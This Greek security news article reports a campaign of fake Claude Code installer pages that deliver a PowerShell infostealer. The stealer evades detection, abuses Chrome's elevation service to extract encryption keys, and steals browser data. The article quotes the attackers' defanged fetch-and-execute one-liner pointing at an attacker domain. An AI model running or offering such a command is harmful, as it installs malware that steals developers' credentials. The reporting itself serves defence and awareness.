Οι προγραμματιστές που αναζητούν στο διαδίκτυο το δημοφιλές εργαλείο Claude Code της Anthropic, μπορεί να εξαπατηθούν και να κατεβάσουν κακόβουλο λογισμικό. Σύμφωνα με ερευνητές της Ontinue, οι επιτιθέμενοι εκμεταλλεύονται έναν ψεύτικο installer του Claude Code για να παραδώσουν ένα PowerShell payload. Το κακόβουλο λογισμικό έχει σχεδιαστεί για να αποφεύγει την ανίχνευση, να ανακτά υλικό browser encryption και να κλέβει ευαίσθητα δεδομένα από συστήματα προγραμματιστών.
“Οι προγραμματιστές κατέχουν τα κλειδιά για τα πιο ευαίσθητα assets μιας οργάνωσης – πνευματική ιδιοκτησία, υποδομή cloud, CI/CD pipelines“, δήλωσε η Vineeta Sangaraju, Μηχανικός Έρευνας AI στην Black Duck. “Επίσης, από ανάγκη, χρειάζονται την ελευθερία να κατεβάζουν και να εγκαθιστούν λογισμικό. Αυτός ο συνδυασμός τους καθιστά στόχο υψηλής αξίας“.
Οι ερευνητές της Ontinue δήλωσαν ότι οτιδήποτε ανιχνεύσιμο στην αλυσίδα επίθεσης είναι wrapped μέσα στο PowerShell loader, καθιστώντας την ανίχνευση περίπλοκη. “Δύο standard API-chain rule sets που αξιολογήσαμε ενάντια στο binary δεν επέστρεψαν καμία αντιστοιχία“, ανέφεραν σε μια ανάρτηση στο blog.
Δείτε επίσης: OpenAI Daybreak: Η απάντηση στο Claude Mythos για κυβερνοασφάλεια
Το κακόβουλο λογισμικό είναι ενεργοποιημένο με “geographic exclusion“, το οποίο το κάνει να σαρώνει τα regions settings των Windows και να τα συγκρίνει με μια λίστα τοποθεσιών προς εξαίρεση, (όλα τα κράτη μέλη της ΚΑΚ και το Ιράν). Αν υπάρχει αντιστοιχία, ακυρώνει αμέσως την εκτέλεση.
Ψεύτικες σελίδες εγκατάστασης του Claude Code
Σύμφωνα με την Ontinue, η καμπάνια εξαρτάται από ψεύτικες σελίδες εγκατάστασης που προσποιούνται τα κανάλια διανομής του Claude Code.
Ωστόσο, αντί να παραδίδουν τη νόμιμη διαδικασία one-line installation της Anthropic, “irm https[:]//claude[.]ai/install.ps1 | iex“, οι σελίδες εξυπηρετούν εντολές PowerShell ελεγχόμενες από τον επιτιθέμενο (“irm events[.]msft23[.]com | iex”) που ξεκινούν με ένα staged payload chain. Μόλις εκτελεστεί, η κακόβουλη ρουτίνα αναπτύσσει πολλαπλά συστατικά που προορίζονται να εδραιώσουν persistence ενώ ελαχιστοποιούν τους συμπεριφορικούς δείκτες που συνήθως συνδέονται με commodity malware loaders.
“Οτιδήποτε είναι εύκολα ανιχνεύσιμο, πρόσβαση σε βάση δεδομένων SQLite, archive construction, εξαγωγή HTTPS, scheduled-task persistence, και η ίδια η αλυσίδα process-injection, βρίσκονται αποκλειστικά μέσα στον PowerShell loader“, ανέφεραν οι ερευνητές, προσθέτοντας ότι ο εγγενής βοηθός δεν εκθέτει networking, cryptographic ή file-enumeration imports. Το μόνο ενδεικτικό σημάδι είναι ένα έμμεσο COM vtable invocation.
Δείτε επίσης: Mini Shai-Hulud Worm: Μολύνει TanStack, Mistral AI και άλλα Packages
Τι μπορεί να κάνει το malware;
Μερικά από τα πράγματα που μπορεί να κάνει το κακόβουλο λογισμικό, ενώ κρύβεται από τα αδιάκριτα βλέμματα, περιλαμβάνει geographic exclusion, ID collection, browser enumeration, v10/v20 key handling, PowerShell architecture matching και launch, αποκρυπτογράφηση και συλλογή, εξαγωγή και persistence.
“Η αντικατάσταση ενός νόμιμου installer με έναν κακόβουλο δεν είναι νέα επίθεση“, επεσήμανε η Sangaraju. “Ωστόσο, αυτό που κάνει αυτή την τρέχουσα καμπάνια αξιοσημείωτη είναι η ακρίβεια με την οποία κατασκευάστηκε για να αποφύγει τις μεθόδους ανίχνευσης στις οποίες βασίζονται οι περισσότερες ομάδες ασφαλείας σήμερα. Η κακόβουλη δραστηριότητα είναι σκόπιμα δομημένη για να φαίνεται αθώα στους σαρωτές“.
Οι ερευνητές έγραψαν επίσης για την κατάχρηση των Chrome Elevation Services από το κακόβουλο λογισμικό για την ανάκτηση encryption material που συνδέεται με τις προστασίες Application-Bound Encryption (ABE).
Το payload εκμεταλλεύεται τη διεπαφή IElevator2 COM στο Chrome για να ανακτήσει κλειδιά κρυπτογράφησης (ABE).
Δείτε επίσης: Ευπάθεια cPanel χρησιμοποιείται για διανομή του Filemanager Backdoor
🔒 Προστατέψτε την ιδιωτικότητά σας με Proton VPN
Ελβετικό VPN από τους δημιουργούς του Proton Mail — αυστηρή πολιτική no-logs, ισχυρή κρυπτογράφηση και ενσωματωμένο NetShield που μπλοκάρει διαφημίσεις, trackers & malware.
- ✔ No-logs, με έδρα την Ελβετία (εκτός 14-Eyes)
- ✔ NetShield: φραγή διαφημίσεων, trackers & κακόβουλων domains
- ✔ Καλύπτει όλες τις συσκευές — δωρεάν έκδοση διαθέσιμη
Ο σύνδεσμος είναι συνεργατικός (affiliate) — το SecNews ενδέχεται να λάβει προμήθεια χωρίς επιπλέον κόστος για εσάς. Δεν επηρεάζει την ανεξαρτησία της αρθρογραφίας μας.
Αυτή η δυνατότητα βοήθησε τους επιτιθέμενους να αποκτήσουν πρόσβαση σε browser-protected data, που κανονικά δεν είναι προσβάσιμα από infostealers. Η Google εισήγαγε το ABE στο Chrome 127 τον Ιούλιο του 2024, για να εμποδίσει ειδικά τους stealers να κλέψουν cookies και αποθηκευμένους κωδικούς πρόσβασης από τις βάσεις δεδομένων SQLite.
Ένα YARA ruleset και ένα σύνολο δεικτών παραβίασης (IOCs) έχουν δημοσιευτεί σε GitHub repositories για να βοηθήσουν στην ανίχνευση, με τους ερευνητές να συνιστούν ένα επιπλέον σύνολο βέλτιστων πρακτικών.
